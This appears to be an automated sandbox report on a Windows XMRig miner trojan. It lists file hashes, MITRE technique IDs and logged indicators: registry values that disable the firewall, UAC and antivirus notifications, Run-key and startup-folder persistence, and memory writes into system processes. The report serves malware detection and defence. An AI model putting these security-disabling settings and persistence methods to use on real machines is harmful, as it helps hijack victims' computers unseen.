xmrig | 2bfe501031c14858507f0cc09a4312ca438b521f16fa83e90f93b067a929aaab

Analysis

max time kernel
112s
max time network
1355s
platform
windows10_x64
resource
win10v20201028
submitted
06-03-2021 22:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Size

2.3MB
MD5

921379bd587ab29da4dc23fb9d47fe36
SHA1

e9db1731731503a81a2fdc67ffa005e6aa2a8038
SHA256

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6
SHA512

90211127d4dd83619bf42a1ab1f5d78d1a9f8ab7767704b19432d681807b636cf2bfbeb5ae97e25b57071e2a04f3b13e5a3f28b69d392b94f7ac0b3015ff38fc

Score

10^/10

xmrig evasion miner persistence trojan upx

Malware Config

Signatures

Modifies firewall policy service 2 TTPs 6 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions = "0"	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DisableNotifications = "1"	VID001.exe

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner Payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\TempoRX\uihost64.exe	xmrig
behavioral4/memory/3100-24-0x0000000000400000-0x00000000009E7000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

Processes:

VID001.exePING.EXE

pid process

4260 VID001.exe
3100 PING.EXE

pid	process
4260	VID001.exe
3100	PING.EXE

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral4/memory/4708-2-0x0000000002460000-0x00000000034EE000-memory.dmp	upx
behavioral4/memory/4260-9-0x0000000002430000-0x00000000034BE000-memory.dmp	upx

Deletes itself 1 IoCs

Processes:

VID001.exe

pid process

4260 VID001.exe
Drops startup file 1 IoCs

Processes:

VID001.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk VID001.exe
Loads dropped DLL 3 IoCs

Processes:

VID001.exe

pid process

4260 VID001.exe
4260 VID001.exe
4260 VID001.exe

pid	process
4260	VID001.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnk	VID001.exe

pid	process
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	VID001.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\Svc	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	VID001.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UacDisableNotify = "1"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	VID001.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

VID001.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\	VID001.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run	VID001.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\	VID001.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	VID001.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	VID001.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

VID001.exe

description	ioc	process
File opened (read-only)	\??\N:	VID001.exe
File opened (read-only)	\??\O:	VID001.exe
File opened (read-only)	\??\X:	VID001.exe
File opened (read-only)	\??\K:	VID001.exe
File opened (read-only)	\??\Q:	VID001.exe
File opened (read-only)	\??\R:	VID001.exe
File opened (read-only)	\??\S:	VID001.exe
File opened (read-only)	\??\T:	VID001.exe
File opened (read-only)	\??\F:	VID001.exe
File opened (read-only)	\??\I:	VID001.exe
File opened (read-only)	\??\J:	VID001.exe
File opened (read-only)	\??\M:	VID001.exe
File opened (read-only)	\??\U:	VID001.exe
File opened (read-only)	\??\V:	VID001.exe
File opened (read-only)	\??\W:	VID001.exe
File opened (read-only)	\??\Y:	VID001.exe
File opened (read-only)	\??\E:	VID001.exe
File opened (read-only)	\??\H:	VID001.exe
File opened (read-only)	\??\L:	VID001.exe
File opened (read-only)	\??\P:	VID001.exe
File opened (read-only)	\??\Z:	VID001.exe
File opened (read-only)	\??\G:	VID001.exe

Drops autorun.inf file 1 TTPs
Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media
T1091
Drops file in Windows directory 1 IoCs

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe

description ioc process

File opened for modification C:\Windows\SYSTEM.INI 50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\SYSTEM.INI	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe

NSIS installer 6 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe	nsis_installer_1
C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe	nsis_installer_2
C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe	nsis_installer_1
C:\Users\Admin\AppData\Roaming\TempoRX\VID001.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\0F74520D_Rar\50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\0F74520D_Rar\50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	nsis_installer_2

Discovers systems in the same network 1 TTPs 8 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

pid process

1944 net.exe
3104 net.exe
1004 net.exe
2696 net.exe
3420 net.exe
5064 net.exe
5968 net.exe
5732 net.exe

pid	process
1944	net.exe
3104	net.exe
1004	net.exe
2696	net.exe
3420	net.exe
5064	net.exe
5968	net.exe
5732	net.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

xcopy.exexcopy.exexcopy.exexcopy.exexcopy.exexcopy.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	xcopy.exe

Kills process with taskkill 5 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4496 taskkill.exe
4480 taskkill.exe
2488 taskkill.exe
2728 taskkill.exe
4972 taskkill.exe
Runs net.exe

pid	process
4496	taskkill.exe
4480	taskkill.exe
2488	taskkill.exe
2728	taskkill.exe
4972	taskkill.exe

Runs ping.exe 1 TTPs 64 IoCs

Remote System Discovery

T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXEPING.EXE

pid	process
3152	PING.EXE
5076	PING.EXE
6088	PING.EXE
1532	PING.EXE
5000	PING.EXE
5240	PING.EXE
6080	PING.EXE
4900	PING.EXE
4448	PING.EXE
1760	PING.EXE
1932	PING.EXE
4396	PING.EXE
1588	PING.EXE
3288	PING.EXE
2564	PING.EXE
4752	PING.EXE
864	PING.EXE
4456	PING.EXE
5888	PING.EXE
5132	PING.EXE
4360	PING.EXE
3700	PING.EXE
1376	PING.EXE
4632	PING.EXE
1536	PING.EXE
304	PING.EXE
2572	PING.EXE
5676	PING.EXE
4020	PING.EXE
2220	PING.EXE
5220	PING.EXE
5388	PING.EXE
3132	PING.EXE
3128	PING.EXE
2744	PING.EXE
4312	PING.EXE
1324	PING.EXE
5160	PING.EXE
5192	PING.EXE
4380	PING.EXE
4748	PING.EXE
5060	PING.EXE
4568	PING.EXE
3496	PING.EXE
3960	PING.EXE
5908	PING.EXE
548	PING.EXE
3808	PING.EXE
4808	PING.EXE
3936	PING.EXE
640	PING.EXE
4880	PING.EXE
340	PING.EXE
5612	PING.EXE
5532	PING.EXE
3024	PING.EXE
1080	PING.EXE
3140	PING.EXE
5072	PING.EXE
2720	PING.EXE
4296	PING.EXE
4544	PING.EXE
560	PING.EXE
4336	PING.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

pid	process
4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe
4260	VID001.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

description	pid	process
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Token: SeDebugPrivilege	4260	VID001.exe
Token: SeDebugPrivilege	4260	VID001.exe
Token: SeDebugPrivilege	4260	VID001.exe
Token: SeDebugPrivilege	4260	VID001.exe
Token: SeDebugPrivilege	4260	VID001.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

description	pid	process	target process
PID 4708 wrote to memory of 704	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	fontdrvhost.exe
PID 4708 wrote to memory of 708	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	fontdrvhost.exe
PID 4708 wrote to memory of 948	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	dwm.exe
PID 4708 wrote to memory of 2616	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	svchost.exe
PID 4708 wrote to memory of 2632	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	sihost.exe
PID 4708 wrote to memory of 2912	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	taskhostw.exe
PID 4708 wrote to memory of 2896	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	Explorer.EXE
PID 4708 wrote to memory of 3372	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	ShellExperienceHost.exe
PID 4708 wrote to memory of 3384	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	SearchUI.exe
PID 4708 wrote to memory of 3644	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	RuntimeBroker.exe
PID 4708 wrote to memory of 3920	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	DllHost.exe
PID 4708 wrote to memory of 4260	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	VID001.exe
PID 4708 wrote to memory of 4260	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	VID001.exe
PID 4708 wrote to memory of 4260	4708	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe	VID001.exe
PID 4260 wrote to memory of 704	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 708	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 948	4260	VID001.exe	dwm.exe
PID 4260 wrote to memory of 2616	4260	VID001.exe	svchost.exe
PID 4260 wrote to memory of 2632	4260	VID001.exe	sihost.exe
PID 4260 wrote to memory of 2912	4260	VID001.exe	taskhostw.exe
PID 4260 wrote to memory of 2896	4260	VID001.exe	Explorer.EXE
PID 4260 wrote to memory of 3372	4260	VID001.exe	ShellExperienceHost.exe
PID 4260 wrote to memory of 3384	4260	VID001.exe	SearchUI.exe
PID 4260 wrote to memory of 3644	4260	VID001.exe	RuntimeBroker.exe
PID 4260 wrote to memory of 3920	4260	VID001.exe	DllHost.exe
PID 4260 wrote to memory of 3392	4260	VID001.exe	DllHost.exe
PID 4260 wrote to memory of 704	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 708	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 948	4260	VID001.exe	dwm.exe
PID 4260 wrote to memory of 2616	4260	VID001.exe	svchost.exe
PID 4260 wrote to memory of 2632	4260	VID001.exe	sihost.exe
PID 4260 wrote to memory of 2912	4260	VID001.exe	taskhostw.exe
PID 4260 wrote to memory of 2896	4260	VID001.exe	Explorer.EXE
PID 4260 wrote to memory of 3372	4260	VID001.exe	ShellExperienceHost.exe
PID 4260 wrote to memory of 3384	4260	VID001.exe	SearchUI.exe
PID 4260 wrote to memory of 3644	4260	VID001.exe	RuntimeBroker.exe
PID 4260 wrote to memory of 3920	4260	VID001.exe	DllHost.exe
PID 4260 wrote to memory of 792	4260	VID001.exe	backgroundTaskHost.exe
PID 4260 wrote to memory of 704	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 708	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 948	4260	VID001.exe	dwm.exe
PID 4260 wrote to memory of 2616	4260	VID001.exe	svchost.exe
PID 4260 wrote to memory of 2632	4260	VID001.exe	sihost.exe
PID 4260 wrote to memory of 2912	4260	VID001.exe	taskhostw.exe
PID 4260 wrote to memory of 2896	4260	VID001.exe	Explorer.EXE
PID 4260 wrote to memory of 3372	4260	VID001.exe	ShellExperienceHost.exe
PID 4260 wrote to memory of 3384	4260	VID001.exe	SearchUI.exe
PID 4260 wrote to memory of 3644	4260	VID001.exe	RuntimeBroker.exe
PID 4260 wrote to memory of 3920	4260	VID001.exe	DllHost.exe
PID 4260 wrote to memory of 792	4260	VID001.exe	backgroundTaskHost.exe
PID 4260 wrote to memory of 704	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 708	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 948	4260	VID001.exe	dwm.exe
PID 4260 wrote to memory of 2616	4260	VID001.exe	svchost.exe
PID 4260 wrote to memory of 2632	4260	VID001.exe	sihost.exe
PID 4260 wrote to memory of 2912	4260	VID001.exe	taskhostw.exe
PID 4260 wrote to memory of 2896	4260	VID001.exe	Explorer.EXE
PID 4260 wrote to memory of 3372	4260	VID001.exe	ShellExperienceHost.exe
PID 4260 wrote to memory of 3384	4260	VID001.exe	SearchUI.exe
PID 4260 wrote to memory of 3644	4260	VID001.exe	RuntimeBroker.exe
PID 4260 wrote to memory of 3920	4260	VID001.exe	DllHost.exe
PID 4260 wrote to memory of 792	4260	VID001.exe	backgroundTaskHost.exe
PID 4260 wrote to memory of 704	4260	VID001.exe	fontdrvhost.exe
PID 4260 wrote to memory of 708	4260	VID001.exe	fontdrvhost.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exeVID001.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	50cbb85b16d25f9f3edb0c8749932e27db306559546e1feb5effcd7b6aab07e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	VID001.exe

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:708

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2616

C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
1⤵
PID:3372

C:\Windows\system32\DllHost.exe
